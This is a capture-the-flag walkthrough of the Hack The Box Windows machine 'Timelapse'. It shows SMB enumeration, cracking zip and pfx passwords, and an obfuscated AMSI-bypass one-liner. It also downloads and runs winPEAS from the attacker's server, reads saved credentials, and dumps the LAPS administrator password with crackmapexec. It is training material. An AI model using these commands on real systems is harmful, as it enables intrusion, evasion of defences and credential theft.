TIMELAPSE

RPC LDAP SMB
logo

Windows

10.10.11.152

Easy

Release: 03-25-2022

First of all, we need to enumerate and scan the opened ports. Follow the steps bellow:

  1. Make new dirs for a full and detailed port scan output files. It's a good pratice organize the files the most as possible.
  2. Now, we run a non deep nmap scan command (first 1000 ports), just to list the opened ports.
  3. Move the output files to "nmap_full" dir.
  4. With the last nmap output results, we need rescans the specifics ports with a deep scan, to enumerate services.
  5. Move the output files to "nmap_ports" dir.
TIP: If the listed open ports wasn't returned any information about exploit/vulnerability/payload, try to run a deep scan with nmap using de -p- option, maybe there are high ports opened that wasn't listed before: #nmap -sV -p- -v 10.10.11.152 -oA nmap

Check the commands used for the initial enumeration:

(root💀kali): ~/htb/timelapse/ # mkdir nmap_full ; mkdir nmap_ports/
(root💀kali): ~/htb/timelapse/ # nmap -Pn -n -v 10.10.11.152 -oA nmap/
(root💀kali): ~/htb/timelapse/ # mv nmap.* ./nmap_full/
(root💀kali): ~/htb/timelapse/ # nmap -sV -p53,88,135,139,389,445,464,593,636,3268,3269 -v 10.10.11.152 -oA nmap
(root💀kali): ~/htb/timelapse/ # mv nmap.* ./nmap_ports/
(root💀kali): ~/htb/timelapse/ # cat ./nmap_ports/nmap.nmap
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl

As we have a open port 445, let's check if there is some networks mapped:

Screen captures:






Command list:

  • (root💀kali): ~/htb/timelapse/ # smbclient -L \\\\10.10.11.152 -N
  • (root💀kali): ~/htb/timelapse/ # smbclient \\\\10.10.11.152\\Shares -N
  • (root💀kali): ~/htb/timelapse/ smb: \> cd Dev
  • (root💀kali): ~/htb/timelapse/ smb: \Dev> dir
  • (root💀kali): ~/htb/timelapse/ smb: \Dev> get winrm_backup.zip
  • (root💀kali): ~/htb/timelapse/ smb: \Dev> cd ../HelpDesk
  • (root💀kali): ~/htb/timelapse/ smb: \HelpDesk> dir
  • (root💀kali): ~/htb/timelapse/ smb: \HelpDesk> get LAPS.x64.msi
  • (root💀kali): ~/htb/timelapse/ smb: \HelpDesk> get LAPS_Datasheet.docx
  • (root💀kali): ~/htb/timelapse/ smb: \HelpDesk> get LAPS_OperationsGuide.docx
  • (root💀kali): ~/htb/timelapse/ smb: \HelpDesk> get LAPS_TechnicalSpecification.docx
    1. The "winrm_backup.zip" file is password protected. Searchig in the web, we can find that john the ripper can crack zip files hashes with a wordlist using zip2john tool.
    2. Now we got "winrm_backup.zip" file extracted, we need to figure out how to open the extracted file called "legacyy_dev_auth.pfx". Searchig in the web, we can find that .pfx files are a type of certificate used by Windows. It has password protection, so we need crack it to generate a .key and a .crt file.
    3. Luckly john the ripper (again) can crack pfx file hashes with a wordlist using pfx2john tool.
    4. With the cracked password, we can generate a .key and a .crt file to bypass a user session by winrm.
    5. get the User flag inside the "user.txt" file.

    Screen captures:







    Commands list:

  • (root💀kali): ~/htb/timelapse/ # zip2john ./winrm_backup.zip > ziphashes
  • (root💀kali): ~/htb/timelapse/ # john --wordlist=/usr/share/wordlists/rockyou.txt ziphashes
  • (root💀kali): ~/htb/timelapse/ # john ziphashes --show
  • (root💀kali): ~/htb/timelapse/ # locate "pfx2john"
  • (root💀kali): ~/htb/timelapse/ # /usr/share/john/pfx2john.py legacyy_dev_auth.pfx > pfxhashes
  • (root💀kali): ~/htb/timelapse/ # john --wordlist=/usr/share/wordlists/rockyou.txt pfxhashes
  • (root💀kali): ~/htb/timelapse/ # john pfxhashes --show
  • (root💀kali): ~/htb/timelapse/ # openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out chave-enc.key
  • (root💀kali): ~/htb/timelapse/ # openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
  • (root💀kali): ~/htb/timelapse/ # evil-winrm -i 10.10.11.152 -S -c cert.crt -k chave-enc.key -u -p
  • *Evil-WinRM* PS  # dir ../Desktop
  • *Evil-WinRM* PS  # type ../Desktop/user.txt
  • For windows enummeration, we'll use "winPEAS" script tool.

    1. First attempt, AMSI blocked the WinPEAS.bat and WinPEAS.exe
    2. knowing that, we need to find a way to bypass this security protection from PowerShell.
    3. Check the output for possible ways to privesc or get private data.
    4. Find some credentials in PowerShell history file.

    Screen captures:







    Command list:

    • (root💀kali): ~/htb/timelapse/ # wget https://github.com/carlospolop/PEASS-ng/releases/download/20220410/winPEASx64.exe
    • (root💀kali): ~/htb/timelapse/ # python -m SimpleHTTPServer
    • *Evil-WinRM* PS  Invoke-WebRequest -Uri "http://10.10.XX.XX:8000/winPEASx64.exe" -OutFile "test.exe"
    • *Evil-WinRM* PS  cp text.exe 1.exe
    • *Evil-WinRM* PS  [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
    • *Evil-WinRM* PS  .\1.exe > out.txt
    • *Evil-WinRM* PS  download out.txt
    • *Evil-WinRM* PS  rm 1.exe
    • *Evil-WinRM* PS  rm test.exe
    • *Evil-WinRM* PS  rm out.txt
    • (root💀kali): ~/htb/timelapse/ # cat out.txt
    • *Evil-WinRM* PS  type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

    Now with some credentials, we need explore how to use them, and escalate to a admin account

    1. In the enumeration phase we check some files in SMB Network maps. In HelpDesk folder we found some LAPS documentation files. This can be usefull.
    2. The second point, we can find in te WinPEAS output file, a list of the system users. Usefull to make a wordlist for brute force attacks.
    3. With those informations, searching on the web, we can find some LAPS/LDAP attacks.
    4. We'll use crackmapexec tool to dump target host credentials, using the valid credential we found in the powershell command history.

    Screen captures:




    Command list:

    • (root💀kali): ~/htb/timelapse/ # crackmapexec ldap 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' –kdcHost 10.10.11.152 -M laps
    • (root💀kali): ~/htb/timelapse/ # evil-winrm -i 10.10.11.152 -S -u 'Administrator' -p 'n+8+y]V#qcqIUpMxOpFU2#ms'
    • *Evil-WinRM* PS  dir ../../
    • *Evil-WinRM* PS  dir ../../TRX/Desktop
    • *Evil-WinRM* PS  type ../../TRX/Desktop/root.txt